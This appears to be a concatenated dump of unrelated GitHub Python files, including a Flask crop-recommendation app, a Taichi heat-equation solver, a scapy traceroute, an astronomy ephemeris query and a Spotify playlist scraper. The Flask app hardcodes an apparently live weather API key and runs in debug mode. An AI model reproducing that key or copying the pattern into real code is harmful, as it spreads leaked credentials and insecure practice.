type=int, default=0)\n parser.add_argument('--flat_choi', help='Path to flat choi dataset')\n\n\n main(parser.parse_args())\n","repo_name":"koomri/text-segmentation","sub_path":"test_accuracy_choi.py","file_name":"test_accuracy_choi.py","file_ext":"py","file_size_in_byte":8568,"program_lang":"python","lang":"en","doc_type":"code","stars":229,"dataset":"github-code","pt":"38"} +{"seq_id":"15792331846","text":"from flask import Flask,request,jsonify,url_for,render_template,Markup,redirect\nimport requests\nimport pandas as pd\nimport numpy as np\nimport pickle\nfrom utils.disease import disease_dic\nfrom utils.fertilizer import fertilizer_dic\nimport torch\nfrom PIL import Image\nfrom utils.model import ResNet9\nfrom torchvision import transforms\nimport io\nimport random\n\n\n\ncrop_model1=pickle.load(open('D:\\Project\\Crop_Project\\Farmer AI Friend\\models\\Crop_models\\Decision_Tree.pkl','rb'))\ncrop_model2=pickle.load(open('D:\\Project\\Crop_Project\\Farmer AI Friend\\models\\Crop_models\\Gaussian_Naive_bayes.pkl','rb'))\ncrop_model3=pickle.load(open('D:\\Project\\Crop_Project\\Farmer AI Friend\\models\\Crop_models\\KNN.pkl','rb'))\ncrop_model4=pickle.load(open('D:\\Project\\Crop_Project\\Farmer AI Friend\\models\\Crop_models\\Random_Forest.pkl','rb'))\ncrop_model5=pickle.load(open('D:\\Project\\Crop_Project\\Farmer AI Friend\\models\\Crop_models\\SVM.pkl','rb'))\ncropmodel=[crop_model1,crop_model2,crop_model3,crop_model4,crop_model5]\n\nfert_model1=pickle.load(open('D:\\Project\\Crop_Project\\Farmer AI Friend\\models\\Fert_models\\Decesion_Tree.pkl','rb'))\nfert_model2=pickle.load(open('D:\\Project\\Crop_Project\\Farmer AI Friend\\models\\Fert_models\\Gaussian_Naive_bayes.pkl','rb'))\nfert_model3=pickle.load(open('D:\\Project\\Crop_Project\\Farmer AI Friend\\models\\Fert_models\\Random_Forest.pkl','rb'))\nfert_model4=pickle.load(open('D:\\Project\\Crop_Project\\Farmer AI Friend\\models\\Fert_models\\SVM.pkl','rb'))\nfertmodel=[fert_model1,fert_model2,fert_model3,fert_model3]\ncrop_label=pickle.load(open('D:\\Project\\Crop_Project\\Farmer AI Friend\\models\\crop_label.pkl','rb'))\nsoil_label=pickle.load(open('D:\\Project\\Crop_Project\\Farmer AI Friend\\models\\soil_label.pkl','rb'))\n\n\ndisease_classes = ['Apple___Apple_scab',\n 'Apple___Black_rot',\n 'Apple___Cedar_apple_rust',\n 'Apple___healthy',\n 'Blueberry___healthy',\n 'Cherry_(including_sour)___Powdery_mildew',\n 'Cherry_(including_sour)___healthy',\n 'Corn_(maize)___Cercospora_leaf_spot Gray_leaf_spot',\n 'Corn_(maize)___Common_rust_',\n 'Corn_(maize)___Northern_Leaf_Blight',\n 'Corn_(maize)___healthy',\n 'Grape___Black_rot',\n 'Grape___Esca_(Black_Measles)',\n 'Grape___Leaf_blight_(Isariopsis_Leaf_Spot)',\n 'Grape___healthy',\n 'Orange___Haunglongbing_(Citrus_greening)',\n 'Peach___Bacterial_spot',\n 'Peach___healthy',\n 'Pepper,_bell___Bacterial_spot',\n 'Pepper,_bell___healthy',\n 'Potato___Early_blight',\n 'Potato___Late_blight',\n 'Potato___healthy',\n 'Raspberry___healthy',\n 'Soybean___healthy',\n 'Squash___Powdery_mildew',\n 'Strawberry___Leaf_scorch',\n 'Strawberry___healthy',\n 'Tomato___Bacterial_spot',\n 'Tomato___Early_blight',\n 'Tomato___Late_blight',\n 'Tomato___Leaf_Mold',\n 'Tomato___Septoria_leaf_spot',\n 'Tomato___Spider_mites Two-spotted_spider_mite',\n 'Tomato___Target_Spot',\n 'Tomato___Tomato_Yellow_Leaf_Curl_Virus',\n 'Tomato___Tomato_mosaic_virus',\n 'Tomato___healthy']\n\ndisease_model_path = \"D:\\Project\\Crop_Project\\Farmer AI Friend\\models\\plant_disease_model.pth\"\ndisease_model = ResNet9(3, len(disease_classes))\ndisease_model.load_state_dict(torch.load(\n disease_model_path, map_location=torch.device('cpu')))\ndisease_model.eval()\n\n\ndef predict_image(img, model=disease_model):\n \"\"\"\n Transforms image to tensor and predicts disease label\n :params: image\n :return: prediction (string)\n \"\"\"\n transform = transforms.Compose([\n transforms.Resize(256),\n transforms.ToTensor(),\n ])\n image = Image.open(io.BytesIO(img))\n img_t = transform(image)\n img_u = torch.unsqueeze(img_t, 0)\n\n # Get predictions from model\n yb = model(img_u)\n # Pick index with highest probability\n _, preds = torch.max(yb, dim=1)\n prediction = disease_classes[preds[0].item()]\n # Retrieve the class label\n return prediction\n\n\ndef weather_fetch(city_name):\n api_key='c6f5279cd3ede75a9bb20ecb582205fd'\n base_url='http://api.weatherstack.com/current'\n com_url=base_url+'?access_key='+api_key+'&query='+city_name\n response = requests.get(com_url)\n x=response.json()\n y=x['current']\n temperature=y['temperature']\n humidity=y['humidity']\n # print(temperature,' ',humidity)\n return temperature,humidity\n\napp=Flask(__name__)\n@app.route('/')\ndef home():\n return render_template('index.html')\n\n@app.route('/crop_reco')\ndef crop():\n return render_template('crop_reco.html')\n@app.route('/crop_recommendation',methods=['POST'])\ndef crop_r():\n if(request.method=='POST'):\n city=str(request.form['city'])\n nitrogen=int(request.form['nitrogen'])\n phosphorus=int(request.form['phosphorus'])\n pottasium=int(request.form['pottasium'])\n rainfall=float(request.form['rainfall'])\n ph=int(request.form['ph'])\n temperature,humidity=weather_fetch(city)\n data=np.array([[nitrogen,phosphorus,pottasium,temperature,humidity,ph,rainfall]])\n output=[]\n for i in cropmodel:\n p=i.predict(data)\n output.append(p[0])\n output=' or '.join(set(output))\n return render_template('crop_result.html', prediction=output)\n\n\n\n@app.route('/fertilizer')\ndef fertilizer():\n return render_template('fertilizer.html')\n@app.route('/fertilizer_recommendation', methods=['POST'])\ndef fert_recommendation():\n crop_type=str(request.form['crop'])\n soil_type=str(request.form['soil'])\n city=str(request.form['city'])\n nitrogen=int(request.form['nitrogen'])\n phosphorus=int(request.form['phosphorus'])\n pottasium=int(request.form['pottasium'])\n temperature,humidity=weather_fetch(city)\n moisture=humidity-random.randint(0,30)\n crop_type=crop_label.transform([crop_type])\n soil_type=soil_label.transform([soil_type])\n data=np.array([[temperature,moisture,soil_type[0],crop_type[0],nitrogen,pottasium,phosphorus]])\n output=[]\n for i in fertmodel:\n p=i.predict(data)\n output.append(p[0])\n output=Markup(str(fertilizer_dic[output[0]]))\n return render_template('fertilizer_result.html',result=output)\n\n@app.route('/disease')\ndef disease():\n return render_template('disease.html')\n\n@app.route('/disease-predict', methods=['GET', 'POST'])\ndef disease_prediction():\n title = 'Harvestify - Disease Detection'\n\n if request.method == 'POST':\n if 'file' not in request.files:\n return redirect(request.url)\n file = request.files['file']\n if not file:\n return render_template('disease.html', title=title)\n try:\n img = file.read()\n\n prediction = predict_image(img)\n\n prediction = Markup(str(disease_dic[prediction]))\n return render_template('disease_result.html', prediction=prediction, title=title)\n except:\n pass\n return render_template('disease.html', title=title)\n\nif(__name__)==\"__main__\":\n app.run(debug=True) ","repo_name":"subhasish7077/Crop_Project-High_Yield","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":7484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"17854983490","text":"'''WebAPI unit testing'''\nimport pytest\nfrom LastFM import LastFM\nimport WebAPI\n\n\ndef test_download_LastFM():\n '''WebAPI unit test'''\n with pytest.raises(WebAPI.Error403):\n lastfm = LastFM()\n lastfm.set_apikey('073959fac063bd9930b9ffdb6f4ff9e')\n lastfm.load_data()\n with pytest.raises(WebAPI.Error401):\n lastfm = LastFM()\n lastfm.set_apikey('ajlsdf')\n lastfm.load_data()\n","repo_name":"bnvillamor/ICS32-Assignment-4","sub_path":"test_WebAPI.py","file_name":"test_WebAPI.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"11290449997","text":"from templating import *\n\n\ndef pretendReplaceFunction():\n\tresult = \"True\"\n\tnewLogin = Templating.injectHTMLBody(None,srcFile=\"templates/Login.html\")\n\n\tcomments = [\"Comment 1\", \"comment 2\"]\n\titeratedData = \"\"\n\tfor comment in comments:\n\t\titeratedData += f\"

{comment}

\\n\"\n\n\treturn Templating.replacePlaceholder(oldText=newLogin,placeholder=\"data\",newContent=iteratedData)","repo_name":"tylerdak/CSE312GroupProject","sub_path":"unusedExampleCode.py","file_name":"unusedExampleCode.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"} +{"seq_id":"72288119152","text":"import numpy as np\nimport time\nimport taichi as ti\n\nlp = ti.f32\nti.init(default_fp=lp, arch=ti.x64, kernel_profiler=False)\ndef vec(*xs):\n return ti.Vector(list(xs))\n\n#define grid\nlevel_max = 8\nnb_ele_1D = 2**level_max\nnb_node_1D = nb_ele_1D + 1\nh = 1.0\ndt = 5.0\nK = 5.0\npixels = ti.Vector(3, dt=ti.f32, shape=(nb_node_1D, nb_node_1D))\n\n\n#MGPCG V Cycle\n@ti.data_oriented\nclass MGPCG_Jacobi_V:\n def __init__(self):\n # grid parameters\n self.use_jacobi_smoother = False \n self.w = 2.0/3.0\n self.err = 0.0\n\n self.n_mg_levels = level_max\n self.pre_and_post_smoothing = 10\n self.dim = 2\n self.iter = 0\n self.max_iteration = 5000\n\n self.N_ext = 1 # number of ext cells set so that that total grid size is still power of 2\n self.N_tot = nb_node_1D\n self.init_T = 293.15 # Inital temperature\n self.bc_T = self.init_T + 300.0 # Boundary temperature\n\n self.e = ti.var(dt=lp)\n self.x = ti.var(dt=lp) \n self.res = ti.var(dt=lp) \n self.b = ti.var(dt=lp) \n self.p = ti.var(dt=lp) # conjugate gradient\n self.Ap = ti.var(dt=lp) # matrix-vector product\n self.alpha = ti.var(dt=lp) # step size\n self.beta = ti.var(dt=lp) # step size\n self.sum = ti.var(dt=lp) # storage for reductions\n\n indicies = ti.ij\n self.grid = ti.root.dense(indicies, self.N_tot).place(self.x, self.b, self.p, self.Ap, self.res, self.e)\n ti.root.place(self.alpha, self.beta, self.sum)\n\n def init(self, step):\n self.Ap.fill(0.0)\n self.p.fill(0.0)\n for i in range(self.N_tot):\n for j in range(self.N_tot):\n if (i==0 or j==0 or i==self.N_tot-1 or j==self.N_tot-1):\n self.x[i,j] = self.bc_T\n self.b[i,j] = self.x[i,j]\n self.res[i,j] = 0.0\n for i in range(self.N_ext, self.N_tot - self.N_ext):\n for j in range(self.N_ext, self.N_tot - self.N_ext):\n if(step == 0):\n self.b[i,j] = self.init_T\n else:\n self.b[i,j] = self.x[i,j]\n self.x[i,j] = 0.0\n\n @ti.kernel\n def compute_r0(self):\n for i in range(self.N_ext, self.N_tot - self.N_ext):\n for j in range(self.N_ext, self.N_tot - self.N_ext):\n self.res[i,j] = self.b[i,j] - ((1.0 + 4.0*K*dt/h**2)*self.x[i,j] - K*dt/h**2*(self.x[i+1,j] + self.x[i-1,j] + self.x[i,j+1] + self.x[i,j-1]))\n \n @ti.kernel\n def compute_Ap(self):\n for i in range(self.N_ext, self.N_tot - self.N_ext):\n for j in range(self.N_ext, self.N_tot - self.N_ext):\n self.Ap[i,j] = (1.0 + 4.0*K*dt/h**2)*self.p[i,j] - K*dt/h**2*(self.p[i+1,j] + self.p[i-1,j] + self.p[i,j+1] + self.p[i,j-1])\n\n @ti.kernel\n def reduce(self, p: ti.template(), q: ti.template()):\n self.sum[None] = 0\n for I in ti.grouped(p):\n self.sum[None] += p[I] * q[I]\n\n @ti.kernel\n def update_x(self):\n for I in ti.grouped(self.p):\n self.x[I] += self.alpha[None] * self.p[I]\n\n @ti.kernel\n def update_r(self):\n for I in ti.grouped(self.p):\n self.res[I] -= self.alpha[None] * self.Ap[I]\n\n @ti.kernel\n def update_p(self):\n for I in ti.grouped(self.p):\n self.p[I] = self.e[I] + self.beta[None] * self.p[I]\n\n def restrit(self, r):\n tmp = np.zeros((r.shape[0]//2+1,r.shape[1]//2+1))\n for i in range(self.N_ext, tmp.shape[0] - self.N_ext):\n for j in range(self.N_ext, tmp.shape[1] - self.N_ext):\n tmp[i, j] = 1.0/16.0*( r[2*i-1,2*j-1] + r[2*i+1,2*j-1] + r[2*i-1,2*j+1] + r[2*i+1,2*j+1] +\n 2.0*( r[2*i,2*j-1] + r[2*i,2*j+1] + r[2*i-1,2*j] + r[2*i+1,2*j] ) +\n 4.0*r[2*i,2*j])\n return tmp\n\n def prolongate(self, u):\n tmp = np.zeros((u.shape[0]*2-1, u.shape[1]*2-1))\n for i in range(u.shape[0]):\n for j in range(u.shape[1]):\n tmp[2*i,2*j] = u[i,j]\n if(i!=u.shape[0]-1 and j!=u.shape[1]-1):\n tmp[2*i+1,2*j] = 0.5*(u[i,j] + u[i+1,j])\n tmp[2*i,2*j+1] = 0.5*(u[i,j] + u[i,j+1])\n tmp[2*i+1,2*j+1] = 0.25*(u[i,j] + u[i+1,j] + u[i,j+1] + u[i+1,j+1])\n return tmp\n \n def Jacobi(self, u, b):\n tmp = np.zeros(u.shape)\n i = self.N_ext\n j = self.N_ext\n tmp[i,j] = (K*dt/h**2*(u[i+1,j] + u[i-1,j] + u[i,j-1] + u[i,j+1]) + b[i,j])*h**2/(1.0+4.0*K*dt)\n return tmp\n\n def smoother_Jacobi(self, u, b):\n for i in range(self.N_ext, u.shape[0] - self.N_ext):\n for j in range(self.N_ext, u.shape[1] - self.N_ext):\n tmp = (K*dt/h**2*(u[i+1,j] + u[i-1,j] + u[i,j-1] + u[i,j+1]) + b[i,j])*h**2/(1.0+4.0*K*dt)\n u[i,j] = self.w*tmp + (1-self.w)*u[i,j]\n\n def GS(self, u, b, phase):\n for i in range(self.N_ext, u.shape[0] - self.N_ext):\n for j in range(self.N_ext, u.shape[1] - self.N_ext):\n if (i + j) & 1 == phase:\n u[i,j] = (K*dt/h**2*(u[i+1,j] + u[i-1,j] + u[i,j-1] + u[i,j+1]) + b[i,j])*h**2/(1.0+4.0*K*dt)\n \n def smoother_GS(self, u, b):\n self.GS(u,b,0)\n self.GS(u,b,1)\n \n def residual(self, u, b):\n tmp = np.zeros(u.shape)\n for i in range(self.N_ext, u.shape[0] - self.N_ext):\n for j in range(self.N_ext, u.shape[1] - self.N_ext):\n tmp[i, j] = b[i,j] - ((1.0 + 4.0*K*dt/h**2)*u[i,j] - K*dt/h**2*(u[i+1,j] + u[i-1,j] + u[i,j+1] + u[i,j-1]))\n return tmp\n\n def MG(self, u, b):\n for _ in range(self.pre_and_post_smoothing):\n if(self.use_jacobi_smoother):\n self.smoother_Jacobi(u,b)\n else:\n self.smoother_GS(u,b)\n\n if(u.shape[0]>3):\n r = self.residual(u, b)\n rc = self.restrit(r)\n ec = self.MG(np.zeros((u.shape[0]//2+1,u.shape[1]//2+1)), rc)\n e = self.prolongate(ec)\n u = u + e\n\n for _ in range(self.pre_and_post_smoothing):\n if(self.use_jacobi_smoother):\n self.smoother_Jacobi(u,b)\n else:\n self.smoother_GS(u,b)\n\n return u\n\n def e2e0(self, e):\n for i in range(e.shape[0]):\n for j in range(e.shape[1]):\n self.e[i,j] = e[i,j]\n \n\n def apply_dirichlet(self):\n for i in range(self.N_tot):\n for j in range(self.N_tot):\n if (i==0 or j==0 or i==self.N_tot-1 or j==self.N_tot-1):\n self.res[i,j] = 0\n \n def final_error(self):\n print(f'iter {self.iter}, residual={self.sum[None]}')\n \n @ti.kernel\n def render(self):\n for i, j in pixels:\n val = (self.x[i,j] - self.init_T) / (self.bc_T - self.init_T)\n col = vec(val, 0.0, 1.0-val)\n pixels[i, j] = vec(col[0], col[1], col[2])\n\n def run(self, step):\n self.init(step)\n self.compute_r0()\n e = self.MG(np.zeros((self.N_tot, self.N_tot)), self.res)\n self.e2e0(e) \n self.update_p()\n self.reduce(self.p, self.res)\n old_rTr = self.sum[None]\n\n while self.iter < self.max_iteration:\n # self.alpha = rTr / pTAp\n self.compute_Ap()\n self.reduce(self.p, self.Ap)\n pAp = self.sum[None]\n self.alpha[None] = old_rTr / pAp\n # self.x = self.x + self.alpha self.p\n self.update_x() \n # self.r = self.r - self.alpha self.Ap\n self.update_r()\n self.apply_dirichlet()\n # check for convergence\n self.reduce(self.res, self.res)\n rTr = self.sum[None]\n if rTr < 1.0e-9:\n break\n # self.e = M^-1 self.r\n e = self.MG(np.zeros((self.N_tot, self.N_tot)), self.res)\n self.e2e0(e)\n # self.beta = new_rTr / old_rTr\n self.reduce(self.e, self.res)\n new_rTr = self.sum[None]\n self.beta[None] = new_rTr / old_rTr\n # self.p = self.e + self.beta self.p\n self.update_p() \n old_rTr = new_rTr\n self.iter += 1\n\n self.final_error()\n self.render()\n\n\ndef main(output_img=True):\n solver = MGPCG_Jacobi_V()\n t = time.time()\n gui = ti.GUI(\"Thermal2D\", res=(nb_node_1D, nb_node_1D))\n for step in range(50):\n solver.run(step)\n print(f'Step: {step}; Solver time: {time.time() - t:.3f} s')\n gui.set_image(pixels.to_numpy())\n if gui.get_event(ti.GUI.ESCAPE):\n exit()\n if output_img: \n gui.show(f'{step:04d}.png')\n else:\n gui.show()\n\nif __name__ == '__main__':\n main()","repo_name":"Trigolds/TaichiX","sub_path":"Thermal2D/Thermal2D_FDM_MGPCG.py","file_name":"Thermal2D_FDM_MGPCG.py","file_ext":"py","file_size_in_byte":8901,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"38"} +{"seq_id":"71715412910","text":"# Barabás Balázs, 531/1 csoport, Lab2 Traceroute házi\nimport argparse\nfrom scapy.all import IP, sr1, ICMP\nfrom socket import gethostbyaddr\n\n\ndef get_and_parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"target_name\", help = \"Target hostname or IP address\")\n parser.add_argument(\"-m\", help = \"Maximum number of hops to search for target\", type = int, default = 15)\n parser.add_argument(\"-w\", help = \"Wait timeout milliseconds for each reply.\", type = int, default = 100)\n return parser.parse_args()\n\n\ndef send_package(target_name, timeout_max, hops_max):\n for i in range(hops_max):\n pingr = IP(dst = target_name, ttl = i) / ICMP(id = i)\n reply = sr1(pingr, timeout = timeout_max / 1000 , verbose = 0)\n for rcv in reply:\n timestamp = rcv.time - pingr.sent_time\n try:\n hostname = gethostbyaddr(rcv.src)[0]\n except:\n hostname = \"\"\n print(\"{}. {} ms {} ({})\".format(i + 1, timestamp * 100 ,rcv.src, hostname))\n if rcv.type == 0:\n print(\"Reached destination at {}\".format(rcv.src))\n return\n\n\nif __name__ == \"__main__\":\n args = get_and_parse_args()\n target_name = args.target_name\n hops_max = args.m\n timeout_max = args.w\n print(\"Tracing route to {} over a maximum of {} hops.\\n\".format(target_name, hops_max))\n send_package(target_name, timeout_max, hops_max)\n ","repo_name":"Barabasbalazs/Traceroute","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"18120341166","text":"def leiaDinheiro(msg):\n while True:\n val = str(input(msg)).replace(',', '.').strip()\n if val.isalpha() or val == '':\n print(f'\\033[31mERRO: \"{val}\" é um preço invalido!\\033[m')\n else:\n break\n return float(val)\n\n\ndef leiaInt(msg):\n ok = False\n valor = 0\n while True:\n n = str(input(msg))\n if n.isnumeric():\n valor = int(n)\n ok = True\n else:\n print('\\033[31mERRO! Digite um número inteiro válido.\\033[m')\n if ok:\n break\n return valor\n","repo_name":"viniscsantos/CursoEmVideo","sub_path":"ex112/utilidadesCeV/dado/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"16371795599","text":"__all__ = [\"SkyBotEphemerisQueryConfig\", \"SkyBotEphemerisQueryTask\"]\n\n\nfrom hashlib import blake2b\nimport pandas as pd\nimport requests\nfrom io import StringIO\n\nfrom astropy.coordinates import Angle\nfrom astropy import units as u\n\nfrom lsst.daf.base import DateTime\nimport lsst.pex.config as pexConfig\nimport lsst.pipe.base as pipeBase\nfrom lsst.utils.timer import timeMethod\n\nfrom lsst.pipe.base import PipelineTask, PipelineTaskConfig, PipelineTaskConnections\nimport lsst.pipe.base.connectionTypes as connTypes\n\n# Enforce an error for unsafe column/array value setting in pandas.\npd.options.mode.chained_assignment = 'raise'\n\n\nclass SkyBotEphemerisQueryConnections(PipelineTaskConnections,\n dimensions=(\"instrument\",\n \"visit\")):\n visitInfos = connTypes.Input(\n doc=\"Information defining the visit on a per detector basis.\",\n name=\"raw.visitInfo\",\n storageClass=\"VisitInfo\",\n dimensions=(\"instrument\", \"exposure\", \"detector\"),\n deferLoad=True,\n multiple=True\n )\n ssObjects = connTypes.Output(\n doc=\"Solar System objects observable in this visit retrieved from \"\n \"SkyBoy\",\n name=\"visitSsObjects\",\n storageClass=\"DataFrame\",\n dimensions=(\"instrument\", \"visit\"),\n )\n\n\nclass SkyBotEphemerisQueryConfig(\n PipelineTaskConfig,\n pipelineConnections=SkyBotEphemerisQueryConnections):\n observerCode = pexConfig.Field(\n dtype=str,\n doc=\"IAU Minor Planet Center observer code for queries \"\n \"(Rubin Obs./LSST default is I11)\",\n default='I11'\n )\n queryRadiusDegrees = pexConfig.Field(\n dtype=float,\n doc=\"On sky radius for Ephemeris cone search. Also limits sky \"\n \"position error in ephemeris query. Defaults to the radius of \"\n \"Rubin Obs FoV in degrees\",\n default=1.75)\n\n\nclass SkyBotEphemerisQueryTask(PipelineTask):\n \"\"\"Tasks to query the SkyBot service and retrieve the solar system objects\n that are observable within the input visit.\n \"\"\"\n ConfigClass = SkyBotEphemerisQueryConfig\n _DefaultName = \"SkyBotEphemerisQuery\"\n\n def runQuantum(self, butlerQC, inputRefs, outputRefs):\n inputs = butlerQC.get(inputRefs)\n inputs[\"visit\"] = butlerQC.quantum.dataId[\"visit\"]\n\n outputs = self.run(**inputs)\n\n butlerQC.put(outputs, outputRefs)\n\n @timeMethod\n def run(self, visitInfos, visit):\n \"\"\"Parse the information on the current visit and retrieve the\n observable solar system objects from SkyBot.\n\n Parameters\n ----------\n visitInfos : `list` of `lsst.daf.butler.DeferredDatasetHandle`\n Set of visitInfos for raws covered by this visit/exposure. We\n only use the first instance to retrieve the exposure boresight.\n visit : `int`\n Id number of the visit being run.\n\n Returns\n -------\n result : `lsst.pipe.base.Struct`\n Results struct with components:\n\n - ``ssObjects``: `pandas.DataFrame`\n DataFrame containing Solar System Objects in field of view as\n retrieved by SkyBot. The columns are as follows; for more\n details see\n https://ssp.imcce.fr/webservices/skybot/api/conesearch/#output-results\n\n ``Num``\n object number (`int`, optional)\n ``Name``\n object name (`str`)\n ``RA(h)``\n RA in HMS (`str`)\n ``DE(deg)``\n DEC in DMS (`str`)\n ``Class``\n Minor planet classification (`str`)\n ``Mv``\n visual magnitude (`float`)\n ``Err(arcsec)``\n position error (`float`)\n ``d(arcsec)``\n distance from exposure boresight (`float`)?\n ``dRA(arcsec/h)``\n proper motion in RA (`float`)\n ``dDEC(arcsec/h)``\n proper motion in DEC (`float`)\n ``Dg(ua)``\n geocentric distance (`float`)\n ``Dh(ua)``\n heliocentric distance (`float`)\n ``Phase(deg)``\n phase angle (`float`)\n ``SunElong(deg)``\n solar elongation (`float`)\n ``ra``\n RA in decimal degrees (`float`)\n ``dec``\n DEC in decimal degrees (`float`)\n ``ssObjectId``\n unique minor planet ID for internal use (`int`). Shared\n across catalogs; the pair ``(ssObjectId, visitId)`` is\n globally unique.\n ``visitId``\n a copy of ``visit`` (`int`)\n \"\"\"\n # Grab the visitInfo from the raw to get the information needed on the\n # full visit.\n visitInfo = visitInfos[0].get()\n\n # Midpoint time of the exposure in JD\n expMidPointEPOCH = visitInfo.date.get(system=DateTime.JD, scale=DateTime.UTC)\n\n # Boresight of the exposure on sky.\n expCenter = visitInfo.boresightRaDec\n\n # Skybot service query\n skybotSsObjects = self._skybotConeSearch(\n expCenter,\n expMidPointEPOCH,\n self.config.queryRadiusDegrees)\n\n # Add the visit as an extra column.\n skybotSsObjects['visitId'] = visit\n\n return pipeBase.Struct(\n ssObjects=skybotSsObjects,\n )\n\n def _skybotConeSearch(self, expCenter, epochJD, queryRadius):\n \"\"\"Query IMCCE SkyBot ephemeris service for cone search using the\n exposure boresight.\n\n Parameters\n ----------\n expCenter : `lsst.geom.SpherePoint`\n Center of Exposure RADEC [deg]\n epochJD : `float`\n Mid point JD of exposure, in UTC [EPOCH].\n queryRadius : `float`\n Radius of the cone search in degrees.\n\n Returns\n -------\n dfSSO : `pandas.DataFrame`\n DataFrame with Solar System Object information and RA/DEC position\n within the visit.\n \"\"\"\n\n fieldRA = expCenter.getRa().asDegrees()\n fieldDec = expCenter.getDec().asDegrees()\n observerMPCId = self.config.observerCode\n radius = queryRadius\n orbitUncertaintyFilter = queryRadius\n\n # TODO: DM-31866\n q = ['http://vo.imcce.fr/webservices/skybot/skybotconesearch_query.php?']\n q.append('-ra=' + str(fieldRA))\n q.append('&-dec=' + str(fieldDec))\n q.append('&-rd=' + str(radius))\n q.append('&-ep=' + str(epochJD))\n q.append('&-loc=' + observerMPCId)\n q.append('&-filter=' + str(orbitUncertaintyFilter))\n q.append('&-objFilter=111&-refsys=EQJ2000&-output=obs&-mime=text')\n query = ''.join(q)\n\n result = requests.request(\"GET\", query)\n dfSSO = pd.read_csv(StringIO(result.text), sep='|', skiprows=2)\n if len(dfSSO) > 0:\n # Data has leading and trailing spaces hence the strip.\n columns = [col.strip() for col in dfSSO.columns]\n coldict = dict(zip(dfSSO.columns, columns))\n dfSSO.rename(columns=coldict, inplace=True)\n # Data returned in hourangle format.\n dfSSO[\"ra\"] = Angle(dfSSO[\"RA(h)\"], unit=u.hourangle).deg\n dfSSO[\"dec\"] = Angle(dfSSO[\"DE(deg)\"], unit=u.deg).deg\n # SkyBot returns a string name for the object. To store the id in\n # the Apdb we convert this string to an int by hashing the object\n # name. This is a stop gap until such a time as the Rubin\n # Ephemeris system exists and we create our own Ids. Use blake2b\n # is it can produce hashes that can fit in a 64bit int.\n dfSSO[\"ssObjectId\"] = [\n int(blake2b(bytes(name, \"utf-8\"), digest_size=7).hexdigest(),\n base=16)\n for name in dfSSO[\"Name\"]\n ]\n else:\n self.log.info(\"No Solar System objects found for visit.\")\n return pd.DataFrame()\n\n nFound = len(dfSSO)\n self.log.info(\"%d Solar System Objects in visit\", nFound)\n\n return dfSSO\n","repo_name":"lsst/ap_association","sub_path":"python/lsst/ap/association/skyBotEphemerisQuery.py","file_name":"skyBotEphemerisQuery.py","file_ext":"py","file_size_in_byte":8361,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"20456294193","text":"amount = int(input('Введите количество товаров: '))\nmy_list = []\nfor element in range(amount):\n my_dict = \\\n {\n 'название': input('Введите название товара: '),\n 'цена': input('Введите цену товара: '),\n 'количество': input('Введите количество товара: '),\n 'ед': 'шт.'\n }\n my_list.append((element + 1, my_dict))\n\nfor el in my_list:\n print(el)\n\ndict_product = \\\n {\n 'название': [],\n 'цена': [],\n 'количество': [],\n 'ед': []\n }\nfor element in my_list:\n for el in element[1].items():\n dict_product[el[0]].append(el[1])\n\nfor elem in dict_product.items():\n print(f'{elem[0]}: {set(elem[1])}')\n","repo_name":"nararock/homework_python2","sub_path":"task6.py","file_name":"task6.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"25195245768","text":"from bs4 import BeautifulSoup\nimport requests\nimport spotipy\nimport config\n\nSPOTIFY_CLIENT_ID = config.SPOTIFY_CLIENT_ID\nSPOTIFY_SECRET = config.SPOTIFY_SECRET\nSPOTIFY_USER = config.SPOTIFY_USER\nREDIRECT_URL = \"https://open.spotify.com\"\nUSERNAME = config.USERNAME\n\nmusic_travel_to_date = input(\n \"Which year do you want to travel to? Type the date in the format YYYY-MM-DD: \"\n)\nsearched_year = int(music_travel_to_date.split(\"-\")[0])\n\nbase_url = \"https://www.billboard.com/charts/hot-100/\"\n\ndestination_url = f\"{base_url}/{music_travel_to_date}\"\nresponse = requests.get(destination_url)\nsongs = response.text\nsoup = BeautifulSoup(songs, \"html.parser\")\ntitles = soup.select(\n \".o-chart-results-list-row-container .o-chart-results-list-row .o-chart-results-list__item .c-title\"\n)\n\nlist_titles = [title.getText().strip() for title in titles]\n\n\nauth_manager = spotipy.oauth2.SpotifyOAuth(\n client_id=SPOTIFY_CLIENT_ID,\n client_secret=SPOTIFY_SECRET,\n redirect_uri=REDIRECT_URL,\n username=USERNAME,\n cache_path=\"token.txt\",\n scope=\"playlist-modify-private\",\n show_dialog=True,\n)\nsp = spotipy.Spotify(auth_manager=auth_manager)\nOAUTH_AUTHORIZE_URL = \"https://accounts.spotify.com/authorize\"\nOAUTH_TOKEN_URL = \"https://accounts.spotify.com/api/token\"\n\nuser_id = sp.current_user()[\"id\"]\n\n\nspotify_songs = []\n\nfor track in list_titles:\n try:\n result = (\n sp.search(q=f\"track:{track} year:{searched_year}\", type=\"track\", limit=1)\n )[\"tracks\"][\"items\"][0][\"uri\"]\n except IndexError:\n print(f\"{track} : Not found on Spotify.\")\n else:\n spotify_songs.append(result)\n\n\nplaylist = sp.user_playlist_create(\n user=SPOTIFY_USER,\n name=f\"{music_travel_to_date} Billboard 100\",\n public=False,\n)\nplaylist_id = playlist[\"id\"]\n\nadd_songs_to_playlist = sp.playlist_add_items(\n playlist_id=playlist_id, items=spotify_songs\n)\n\nprint(\"Songs added to your spotify 